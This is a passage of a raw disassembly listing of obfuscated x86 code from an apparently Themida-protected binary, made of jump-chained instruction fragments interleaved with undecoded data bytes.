; ---------------------------------------------------------------------------
		db 89h
		dd 0E2BB241Ch, 52DF5DDFh, 2F3F50BAh, 0A6BDE910h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572BA6:				; CODE XREF: Themida_:00572957j
		push	dword ptr [esp]
		jmp	loc_567687
; ---------------------------------------------------------------------------
		dw 7EB6h
		dd 285DEE80h, 0B2E95AF1h, 89FFFFF3h, 0FFBA2414h, 81FFFFFFh
		dd 30432EEBh, 81D3014Fh, 30432EC3h, 24148B4Fh, 5704C483h
		dd 0CB462EBFh, 0F66FE915h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_572BE2:				; CODE XREF: Themida_:0056A821j
		sub	dh, 0C0h
		sub	dh, 15h
		add	dh, ch
		add	dh, 15h
		push	ecx
		jmp	loc_56A779
; ---------------------------------------------------------------------------
		db 56h
		dd 0FEE60CE9h, 356568FFh, 495945AEh, 33D468h, 0FA37E900h
		dd 5751FFFEh, 0FFE8CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572C11:				; CODE XREF: Themida_:005683BAj
		pop	esp
		push	6733h
		mov	[esp], ecx
		mov	ecx, 1
		and	eax, ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	36D1h
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, 10026D7Ch
		add	ecx, 60F5055Bh
		add	ecx, ebp
		sub	ecx, 60F5055Bh
		jmp	loc_56A5F8
; ---------------------------------------------------------------------------
		dw 0F129h
		dd 0FF6C92E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572C5D:				; CODE XREF: Themida_:0056FEBAj
		pop	edx
		push	ebx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_56C0EA
; ---------------------------------------------------------------------------


loc_572C6E:				; CODE XREF: Themida_:0056CE9Ej
		mov	ebx, 4
		add	ebp, ebx
		jmp	loc_56F482
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 19B151D8h, 0FF28E952h, 74FFFFFFh, 34FF0424h,	0C0E95F24h
		dd 0BDFFFF92h, 19746AEBh, 0B568DD87h, 89000072h, 14F7241Ch
		dd 53F9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572CAA:				; CODE XREF: Themida_:00569DEAj
		pop	esi
		jmp	loc_56EAF1
; ---------------------------------------------------------------------------
		dd 4ED81h, 2C330000h, 242C3124h, 5C242C33h, 54240489h
		dd 8324048Bh, 0BE5604C4h, 33801ED3h, 6534BA52h,	0D629245Fh
		dd 7EEC15Ah, 0E952DEF7h, 0FFFF1B71h
; ---------------------------------------------------------------------------


loc_572CE4:				; CODE XREF: Themida_:00569610j
		add	edi, 40112BBAh
		jmp	loc_572B85
; ---------------------------------------------------------------------------
		db 87h
		dd 525C2404h, 92E9E289h, 66FFFF81h, 0E9240C8Bh,	0FFFF591Dh
		dd 7E2C15Bh, 0FF0B53E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572D0D:				; CODE XREF: Themida_:00566B9Fj
		sub	edx, 96130DA8h
		push	edx
		mov	ebx, [esp]
		add	esp, 4
		pop	edx
		shr	ebx, 7
		jmp	loc_5692B3
; ---------------------------------------------------------------------------
		db 81h
		dd 83D22EFh, 7DF7817Ah,	31C4DEFAh, 0F2815FFAh, 0E0A2D67Eh
		dd 315AD329h, 0D1295BDAh, 2E68565Ah, 54000026h,	8324048Fh
		dd 5E042404h, 0FF9317E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572D55:				; CODE XREF: Themida_:00563B2Dj
		xchg	ebx, esi
		dec	ebx
		xchg	ebx, esi
		sub	esi, 1
		push	eax
		jmp	loc_568B13
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 822FE73h, 18E9F229h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572D73:				; CODE XREF: Themida_:005676F5j
		mov	edx, [esp]
		push	ebp
		jmp	loc_563B62
; ---------------------------------------------------------------------------


loc_572D7C:				; CODE XREF: Themida_:00565CD1j
		or	ebp, ecx
		pop	ecx
		shl	ebp, 6
		jmp	loc_5615D5
; ---------------------------------------------------------------------------


loc_572D87:				; CODE XREF: Themida_:00566FB0j
		push	edi
		jmp	loc_566A18
; ---------------------------------------------------------------------------
		db 1, 0F2h, 0E9h
		dd 0FFFF57EAh, 9CC9EA81h, 0D089BD6Eh, 71A1E95Ah, 14F6FFFFh
		dd 0E9596624h, 0FFFEE100h, 9D1C77FFh, 24041958h, 0BD17E99Ch
		dd 0E951FFFEh, 0FFFFBC69h, 0FFFBFF68h, 2434FFFFh, 83240C8Bh
		dd 0E95604C4h, 0FFFF726Eh
; ---------------------------------------------------------------------------


loc_572DD4:				; CODE XREF: Themida_:00560B3Aj
		mov	[esp], esi
		mov	esi, 800h
		jmp	loc_567782
; ---------------------------------------------------------------------------


loc_572DE1:				; CODE XREF: Themida_:0056C8B3j
		add	edx, 4
		jmp	loc_562DAD
; ---------------------------------------------------------------------------


loc_572DEC:				; CODE XREF: Themida_:0056C813j
		push	3C24h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_570608
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0E95704C4h, 0FFFFC00Fh, 0E291B1BFh, 8BF80160h
		dd 0EC83243Ch, 0C0CFE904h, 0BF57FFFFh, 28A801C1h, 7259BB53h
		dd 0CB8139D9h, 24640594h, 9EE9DBF7h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572E37:				; CODE XREF: Themida_:00561F88j
		sub	dword ptr [esp+4], 7CAD7D57h
		add	dword ptr [esp+4], 4FBF799Ch
		jmp	loc_571B3B
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 4C481h, 0CF680000h, 8900007Dh, 58542404h
		dd 405h, 2FFE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572E6A:				; CODE XREF: Themida_:0056A681j
		pop	esp
		add	ax, bp
		mov	bp, [esp]
		add	esp, 2
		add	ax, 546Fh
		add	ax, cx
		sub	ax, 546Fh
		jmp	loc_57066A
; ---------------------------------------------------------------------------


loc_572E88:				; CODE XREF: Themida_:00571490j
		mov	eax, [esp]
		add	esp, 4
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5633AC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 0FF2844E9h, 240431FFh, 0FEF1BEE9h, 24048BFFh
		dd 4C481h, 0D9890000h, 52C5815Bh, 816C7234h, 0AB4450EDh
		dd 0FF49E943h, 0ED81FFFEh, 0EED865Dh, 0FFB156E9h, 81C601FFh
		dd 4ECh, 241C8900h, 1EC9BE56h, 0F3896510h, 8BDE295Eh, 0C483241Ch
		dd 0B6C68104h, 811A9255h, 0CF4B53C6h, 0D6E95012h, 0FFFFFF1Dh
		dd 685B2434h, 42A2h, 0E9241489h, 0FFFEC20Ch
; ---------------------------------------------------------------------------


loc_572F1C:				; CODE XREF: Themida_:00569F83j
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		push	ecx
		push	3DD07934h
		pop	ecx
		jmp	loc_56D6C4
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E389241Ch, 8EBF5750h, 0F7311B4Ah, 0ABCF81DFh
		dd 0F765EA7Ah, 0F6EF81D7h, 0E92CF717h, 0FFFFD4DEh, 0EFD0CFFEh
		dd 5225F780h, 0CE8037B6h, 84CE8031h, 0FF88A5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_572F71:				; CODE XREF: Themida_:00567CE2j
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 30h,	0F9h, 0E9h
		dd 0FFFFA70Ah, 0EC83D5F7h, 241C8904h, 0FFB050E9h, 2C8150FFh
		dd 9C38C724h, 58B7E908h, 48FFFFFh, 24248B24h, 0FF87F4E9h
		dd 81E389FFh, 4C3h, 4C83E900h, 6855FFFFh, 599908DEh, 0DCED815Dh
		dd 89599908h, 15E95DE9h
		db 90h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_572FCF:				; CODE XREF: Themida_:0055F3A2j
		inc	edi
		jmp	loc_560CB4
; ---------------------------------------------------------------------------
		db 58h,	87h, 0Ch
aSd		db '$\',9,'Âé„',0Dh,0
		db 0
; ---------------------------------------------------------------------------


loc_572FE1:				; CODE XREF: Themida_:005621F1j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_573C61
; ---------------------------------------------------------------------------
		db 29h
		dd 0E3C159CBh, 4EC8308h, 0FFFBB6E9h, 0B55166FFh, 289B2C64h
		dd 0E99B04E8h, 0FFFEC945h, 0C381E389h, 4, 3304C383h, 6AE9241Ch
		dd 0B7FFFED9h, 0E9CFFE95h, 0FFFEDE4Eh, 4EC8158h, 89000000h
		dd 0FDBD242Ch, 0E92A966Ch, 0FFFEF66Bh, 8423C2BAh, 0EAE28149h
		dd 0D15A0624h, 15F281E2h, 817E3149h, 2902C4F2h,	6BF281D7h
		dd 8148327Eh, 8A269FEAh, 5EAC122h, 3D98C281h, 0D001FD8Bh
		dd 4EC815Ah, 0E9000000h, 0FFFF0BAFh
; ---------------------------------------------------------------------------


loc_573080:				; CODE XREF: Themida_:00565D83j
		push	ecx
		jmp	loc_5638E8
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 0FF24A7E9h, 535668FFh, 34890000h,	3372BE24h, 32B952C4h
		dd 1DACD20h, 0FFE95EF1h
		db 0C6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5730AB:				; CODE XREF: Themida_:00570F6Dj
		sub	edi, 4
		jmp	loc_56E9D4
; ---------------------------------------------------------------------------
		dw 4C68h
		dd 0E9000014h, 0FFFF89D2h
; ---------------------------------------------------------------------------


loc_5730C0:				; CODE XREF: Themida_:0056E692j
		sub	esp, 4
		mov	[esp], ecx
		push	7820h
		mov	[esp], edi
		push	2E34539Fh
		mov	edi, [esp]
		add	esp, 4
		add	edi, 0D1CBAC65h
		sub	esp, 4
		mov	[esp], edi
		mov	ecx, [esp]
		add	esp, 4
		pop	edi
		push	ebx
		mov	ebx, 1C077C0Bh
		dec	ebx
		dec	ebx
		jmp	loc_563099
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4812414h, 4, 5C24048Fh,	81E78957h, 4C7h
		dd 0B8505200h, 5C46669Fh, 46669BBAh, 0C7FAE95Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57312A:				; CODE XREF: Themida_:005627AEj
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5602CF
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 4
		dd 24248B24h, 9E49182Dh, 2D48E900h, 8956FFFFh, 4C681E6h
		dd 81000000h, 4C6h, 24348700h, 1015E95Ch, 0E980FFFFh, 3FA8E909h
		dd 3431FFFFh, 24343324h, 58243431h, 0ABC68196h,	575A2F32h
		dd 0FF974CE9h, 17EC68FFh, 4890000h, 0E9F08924h,	9B5h, 24048B66h
		dd 4EC81h, 4890000h, 55E08924h,	247F6850h, 46E90CCCh
		db 27h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5731A7:				; CODE XREF: Themida_:00564C1Aj
		push	276Eh
		jmp	loc_5680C8
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 72h
		dd 0FF6A2E01h, 68592434h, 6690h, 89240C89h, 4C181E1h, 83000000h
		dd 0C8704C1h, 0C5815C24h, 2, 0FED15BE9h, 240C89FFh, 0CD803AB5h
		dd 0B6525059h, 0C0CEFE8Dh, 0E68606E6h, 0E630D4F6h, 0EAE9F430h
		db 0D9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5731FB:				; CODE XREF: Themida_:0055FA4Aj
		mov	eax, 54850722h
		and	eax, 7A7C539Ah
		dec	eax
		xor	eax, 43FD3922h
		add	edx, eax
		pop	eax
		pop	edi
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_57224A
; ---------------------------------------------------------------------------
		db 45h,	0C1h, 0EDh
		dd 5C58108h, 53FF10B1h,	0FF49F5E9h, 0C38159FFh,	1E5C7002h
		dd 0FFDC38E9h, 0F78957FFh, 4C7268h, 243C8900h, 5A2434FFh
		dd 4EC8355h, 0E9242489h, 0FFFF0E78h, 88E7F181h,	0CE3191E5h
		dd 8BF32959h, 89572434h, 4C781E7h, 0E9000000h, 0FFFF6EA1h
		dd 5FFE8959h, 6B74B951h, 0D9F74A86h, 0E7C98141h, 81255A22h
		dd 99C13CC1h, 0EC3BE9BAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573296:				; CODE XREF: Themida_:0056755Bj
		xor	[esp], eax
		jmp	loc_56251A
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0FEE71EE9h, 4C481FFh, 31000000h, 0CF015EF1h,	243C8759h
		dd 0E924248Bh, 0FFFEB815h, 505EF531h, 7179A6B8h, 14C58128h
		dd 0E930DF2Dh, 0FFFFF632h, 4BB53h, 0DA010000h, 0FFD857E9h
		dd 0C0B60FFFh, 0FF9A3AE9h, 71E941FFh, 0FFFFFFFh, 28E9C8B6h
		dd 30FFFF0Ch, 241C8BDEh, 2C04C483h, 0BFB2526Dh,	0FFB1B7E9h
		dd 24048BFFh, 4C481h, 0C870000h, 0F2C8E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573316:				; CODE XREF: Themida_:005691C3j
		mov	edx, 1D1F30C5h
		add	edx, 248018C3h
		shl	edx, 4
		neg	edx
		dec	edx
		push	eax
		mov	eax, 2A763C09h
		jmp	loc_56D46C
; ---------------------------------------------------------------------------


loc_573332:				; CODE XREF: Themida_:0056003Bj
		mov	[esp], ebp
		mov	ebp, 3FA6723Bh
		sub	edx, ebp
		pop	ebp
		pop	esi
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_568363
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 0E9000000h, 0FFFED657h
; ---------------------------------------------------------------------------


loc_57335C:				; CODE XREF: Themida_:00571B85j
		push	ebp
		mov	ebp, 5DC61573h
		push	esi
		mov	esi, 3C6F5879h
		jmp	loc_561CB2
; ---------------------------------------------------------------------------


loc_57336D:				; CODE XREF: Themida_:00560BC4j
		pop	ecx
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_566FAF
; ---------------------------------------------------------------------------
		db 56h,	0E9h, 12h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573383:				; CODE XREF: Themida_:00566DD4j
		sub	bl, al
		pop	ax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0E9h, 26h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573393:				; CODE XREF: Themida_:0056529Fj
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_565C79
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 83000000h,	1FE904C1h, 83FFFFCAh, 1C8704C3h
		dd 79E95C24h, 5CFFFF18h, 0FFA8E9E9h, 58ED81FFh,	16FD861h
		dd 4875DE8h, 0F490E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5733D2:				; CODE XREF: Themida_:0056E02Ej
		mov	ecx, 62E04DF0h
		sub	ecx, esi
		pop	esi
		mov	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		not	dword ptr [esp]
		pop	edi
		jmp	loc_573BBA
; ---------------------------------------------------------------------------
		dd 0F3E9DE01h, 81FFFFF0h, 4C5h,	0F8B2E900h, 0EF81FFFFh
		dd 14056573h, 3EFDB850h, 35407371h, 7547506h, 2B35D8F7h
		dd 3522EE0Ch, 0A46CE728h, 0FF23E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573421:				; CODE XREF: Themida_:0056A734j
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	337B71EAh
		pop	ecx
		dec	ecx
		xchg	ebp, ecx
		xchg	eax, ebp
		push	eax
		jmp	loc_5680AC
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4C58100h, 53000000h, 4BBh, 5BDD2900h, 358868h
		dd 249FE900h, 3C89FFFFh, 0B707E924h, 5368FFFFh,	0E9000078h
		dd 0FFFF7002h
; ---------------------------------------------------------------------------


loc_573474:				; CODE XREF: Themida_:00567C25j
		push	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_568C35
; ---------------------------------------------------------------------------
		db 68h
		dd 2AA8h, 0FEE9DCE9h, 0E9F031FFh, 0FFFF5858h, 405h, 123E900h
		dd 2C33FFFFh, 0DECBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5734A6:				; CODE XREF: Themida_:0056B740j
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56529C
; ---------------------------------------------------------------------------
		dw 0D8F7h
		dd 0FF0275E9h, 48C181FFh, 81127C5Bh, 0A74B94E9h, 0EAC1E960h
		dd 0BCB9FFFEh, 0C136190Fh, 0BD5502E1h, 7B8F2ED5h, 904ED81h
		dd 0D5F765E8h, 98D5F581h, 0E921C668h, 57D9F75Dh, 74471BBFh
		dd 84C78104h, 0E9725D2Dh, 0FFFF3477h
; ---------------------------------------------------------------------------


loc_573510:				; CODE XREF: Themida_:005681A1j
		push	esp
		jmp	loc_566B2F
; ---------------------------------------------------------------------------
		dw 2BDh
		dd 0E9000000h, 0FFFFE3FFh, 86E9D8F7h, 0FFFFFED3h, 589D1C77h
		dd 9C240411h, 0FEB59CE9h, 4EB81FFh, 87000000h, 8EE9241Ch
		dd 81FFFEE4h, 90F9BEF6h, 0E9F201EAh, 0FFFEE78Ch, 81E28952h
		dd 4C2h, 4C28100h, 87000000h, 4AE92414h, 4FFFFD5h, 0FED0F601h
		dd 0F548E9C0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573572:				; CODE XREF: Themida_:0056B272j
					; Themida_:0056FCBCj
		push	edx
		mov	edx, esp
		jmp	loc_56461E
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFF04B6h, 4C481h, 0C3830000h, 241C8702h, 2404085Ch
		dd 0B53BE99Ch, 5D54FFFEh, 4C581h, 0EC830000h, 240C8904h
		dd 8B3CDDB9h, 8E9C117h,	46E4BE56h, 0F1092ABDh, 0C981495Eh
		dd 60A30F43h, 0CFF7E981h, 0CD296ABFh, 83240C8Bh, 2C8704C4h
		dd 24248B24h, 0FFF128E9h, 0E9F901FFh, 0FFFFB6EAh, 24348156h
		dd 2CE74976h, 8324048Bh, 763504C4h, 892CE749h, 3168E9C5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5735F6:				; CODE XREF: Themida_:005711ABj
		add	eax, 5E3A74E9h
		mov	ebp, [esp]
		add	esp, 4
		shl	eax, cl
		push	ebx
		mov	ebx, 1
		push	ebx
		mov	ebx, 16D037FEh
		push	edi
		mov	edi, 52C46BD3h
		xor	edi, 36AB19E3h
		jmp	loc_566623
; ---------------------------------------------------------------------------
		db 0BAh
		dd 635C0AEAh, 2BE9D589h, 42FFFFA5h, 0FEC017E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573635:				; CODE XREF: Themida_:00569CA1j
		sub	edx, eax
		pop	eax
		sub	dword ptr [esp+4], 71757E35h
		sub	[esp+4], edx
		add	dword ptr [esp+4], 71757E35h
		pop	edx
		jmp	loc_55EE64
; ---------------------------------------------------------------------------


loc_573652:				; CODE XREF: Themida_:0056CAC2j
		push	702Ch
		mov	[esp], ebx
		jmp	loc_572A0A
; ---------------------------------------------------------------------------
		db 83h
		dd 2C8904ECh, 81E58924h, 4C5h, 5732E900h, 0C87FFFFh, 0C2815C24h
		dd 3F8239C1h, 3E16EA81h, 0BD557F53h, 41AB0CEAh,	0FFCFF9E9h
		dd 0E3B252FFh, 0DA87E951h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573696:				; CODE XREF: Themida_:00572627j
		mov	edi, 1CCC6C95h
		push	edx
		mov	edx, 461DD658h
		add	edi, 748C5E57h
		add	edi, edx
		sub	edi, 748C5E57h
		pop	edx
		xor	esi, edi
		jmp	loc_56B3F6
; ---------------------------------------------------------------------------


loc_5736B7:				; CODE XREF: Themida_:00560069j
		pop	ebx
		push	edi
		mov	edi, 0E0B50EEh
		sub	[esp+8], edi
		pop	edi
		add	[esp+4], esi
		jmp	loc_562ED7
; ---------------------------------------------------------------------------


loc_5736CC:				; CODE XREF: Themida_:0056F9F2j
		xchg	edx, [esp]
		mov	esi, [esp]
		add	esp, 4
		xor	[esp], esi
		xor	esi, [esp]
		xor	[esp], esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_571930
; ---------------------------------------------------------------------------


loc_5736F3:				; CODE XREF: Themida_:00569AE5j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_561F7B
; ---------------------------------------------------------------------------
		dw 6853h
		dd 307D47F1h, 0D3C8E95Bh
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_57370E:				; CODE XREF: Themida_:005626FAj
		push	ebp
		mov	ebp, ebx
		mov	esi, ebp
		pop	ebp
		pop	ebx
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_567E43
; ---------------------------------------------------------------------------


loc_57372C:				; CODE XREF: Themida_:0056D1ECj
		push	5557h
		mov	[esp], ebp
		push	2C9h
		mov	[esp], edi
		jmp	loc_570702
; ---------------------------------------------------------------------------
		db 31h,	0D1h, 5Ah
		dd 34FFC801h, 0C4835924h, 0C4EFE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_573752:				; CODE XREF: Themida_:005738E6j
		add	bl, al
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	43B9h
		jmp	loc_566473
; ---------------------------------------------------------------------------
		dw 9F68h
		dd 89000020h, 1368243Ch, 89000042h, 0B951241Ch,	68694464h
		dd 0BF59CB89h, 9796BB9Eh, 15BDF01h, 0B6A1E9FBh,	0FE31FFFFh
		dd 2DC6815Fh, 0E93CC855h, 0FFFF691Ch, 0BF243C89h, 702C410Ch
		dd 2A12C781h, 0BAE96AA0h, 50FFFF40h, 0C3447FB8h, 58C2213Eh
		dd 4050F281h, 0D5892E40h, 22EA815Ah, 1507D53h, 15BF57EAh
		dd 0E90AC04Fh, 0FFFEE36Eh, 240C8B66h, 283E6855h, 24890000h
		dd 0B8505724h, 21E51284h, 0E51288BFh, 0FE87E921h, 0E957FFFEh
		dd 0FFFFF48Ah
; ---------------------------------------------------------------------------


loc_5737FC:				; CODE XREF: Themida_:00568909j
		xor	bx, [esp]
		xor	[esp], bx
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		db 0B5h, 86h, 0D0h
		dd 22ED80E5h, 67E9EE88h, 5FFFFEF0h, 8B04C483h, 0C481242Ch
		dd 4, 0FF9FD7E9h, 5E41BFFFh, 1AE960A1h,	5CFFFFC2h, 517468h
		dd 8C29E900h, 0EFBDFFFFh, 896C0478h, 242C8BEFh,	8104C483h
		dd 0A23B08F7h, 0E9F82962h, 0FFFF8352h, 0C31561BEh, 0E9D6F742h
		dd 0FFFEC299h
; ---------------------------------------------------------------------------


loc_573864:				; CODE XREF: Themida_:00567A46j
		sub	esp, 4
		mov	[esp], ebp
		push	78BDh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_5613EC
; ---------------------------------------------------------------------------
		db 53h
		dd 0FF3602E9h, 2434FFFFh, 0BC4BE95Fh, 0EDC1FFFEh, 2BB5308h
		dd 0F739E333h, 0FDF381DBh, 0E9766F3Ch, 0FFFF98B3h
; ---------------------------------------------------------------------------


loc_5738A0:				; CODE XREF: Themida_:0056A44Cj
		sub	dh, 0EEh
		or	bh, dh
		pop	edx
		or	bh, 57h
		xchg	dh, bh
		dec	dh
		xchg	dh, bh
		add	bh, 7Ah
		add	al, bh
		pop	ebx
		jmp	loc_567891
; ---------------------------------------------------------------------------


loc_5738BA:				; CODE XREF: Themida_:00565D73j
		push	small 0
		sub	[esp], bh
		mov	bh, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 1BB5927h
		sub	edx, 0D397E71h
		jmp	loc_5666B3
; ---------------------------------------------------------------------------


loc_5738E0:				; CODE XREF: Themida_:005688BCj
		mov	[esp], ax
		mov	al, 0E3h
		jmp	loc_573752
; ---------------------------------------------------------------------------
		db 57h
		dd 7F353CBFh, 41C381BCh, 8170DF1Eh, 0FD5A8EC3h,	81FB0167h
		dd 0FD5A8EEBh, 41EB8167h, 5F70DF1Eh, 15BDA01h, 4FE768FAh
		dd 2C890000h, 4A73BD24h, 0A9E92D60h, 53FFFF39h,	0FF107CE9h
		dd 4C783FFh, 5C243C87h,	0E9243487h, 0FFFFED68h,	0E907EEC1h
		dd 0FFFFAE1Fh, 81FFED83h, 2BC411F5h, 6C06E9D1h,	8B66FFFFh
		dd 0C5682404h, 8900005Bh, 79E92414h, 0FFFFC4h, 0CF8058C7h
		dd 0DB50E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_57396A:				; CODE XREF: Themida_:00563FCDj
		add	esi, 297A6362h
		sub	ebx, 5C1094Fh
		sub	ebx, esi
		add	ebx, 5C1094Fh
		jmp	loc_56FF8B
; ---------------------------------------------------------------------------
		db 53h
		dd 0FEE1EEE9h, 0E9E089FFh, 0FFFF5029h, 895AD029h, 24048BC6h
		dd 8104C483h, 0C02F75C7h, 81F7015Ah, 0C02F75EFh, 0DB8BE95Ah
		dd 0EC81FFFEh, 4, 0FF119FE9h, 5161BDFFh, 0ED814BC0h, 1
		dd 0FF1588E9h, 5FE95AFFh
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5739CF:				; CODE XREF: Themida_:00560082j
		add	edi, ebx
		mov	ebx, [esp]
		jmp	loc_562D5D
; ---------------------------------------------------------------------------
		db 80h,	0C3h, 75h
		dd 0FF505CE9h, 49CF81FFh, 0E907A718h, 0FFFFA7D8h, 2434335Ch
		dd 33243431h, 248B2434h, 68C80F24h, 1853h, 68242C89h, 57BCh
		dd 0FFD91CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573A0D:				; CODE XREF: Themida_:005717DDj
		pop	ecx
		push	edx
		mov	edx, 6EDB074Bh
		push	ebx
		mov	ebx, 52EE0F78h
		xor	ebx, 525105FDh
		not	ebx
		jmp	loc_56AD78
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4BB5300h, 29000000h, 4875BD8h,	7FE95C24h, 0B8FFFFD5h
		dd 1F4B2166h, 0E42CDEBDh, 395DE970h, 0B252FFFFh, 57B0E94Eh
		dd 0D689FFFFh, 8D0BE95Ah, 148BFFFFh, 4C48324h, 0FF2C89E9h
		dd 242C81FFh, 3A4F4215h, 0FFDB24E9h, 3BD368FFh,	1C890000h
		dd 0BACAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573A82:				; CODE XREF: Themida_:00569407j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		bts	[esp], ax
		pushf
		jmp	loc_55EAD1
; ---------------------------------------------------------------------------
		dd 0E904C383h, 0FFFF0FB2h, 577AE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_573AA2:				; CODE XREF: Themida_:00560698j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	edx
		mov	edx, 6E3036C8h
		add	edx, 1
		shr	edx, 8
		xor	edx, 6E3032h
		add	esi, 5D4B319Ch
		sub	esi, edx
		sub	esi, 5D4B319Ch
		pop	edx
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	edx
		mov	dl, 0D3h
		push	ecx
		push	eax
		mov	ah, 0BFh
		add	ah, 18h
		inc	ah
		inc	ah
		neg	ah
		xor	ah, 0ABh
		push	5C64h
		mov	[esp], edx
		mov	dh, ah
		jmp	loc_56D0AA
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 5E2434FFh, 815E5456h, 4C6h, 4C68100h, 33000000h
		dd 0E0E92434h, 0FFFFFEAFh, 0FF042474h, 148B2434h, 4C48324h
		dd 0FFE22EE9h, 24248BFFh, 9C240CD2h, 0FEAF98E9h, 55C301FFh
		dd 25CE9h, 24478900h, 0E95D5E58h, 0FFFFC1E2h, 24048B66h
		dd 0A5068h, 24348900h, 0B951E689h, 4, 42E9CE01h, 68FFFF00h
		dd 6327h, 0FF5470E9h, 24248BFFh, 0FF6276E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_573B79:				; CODE XREF: Themida_:00565039j
		xor	edi, 5F502182h
		jmp	loc_560891
; ---------------------------------------------------------------------------


loc_573B84:				; CODE XREF: Themida_:00563044j
		sub	edx, 77854551h
		add	edx, eax
		add	edx, 77854551h
		add	edx, 4B470758h
		jmp	loc_56B73E
; ---------------------------------------------------------------------------
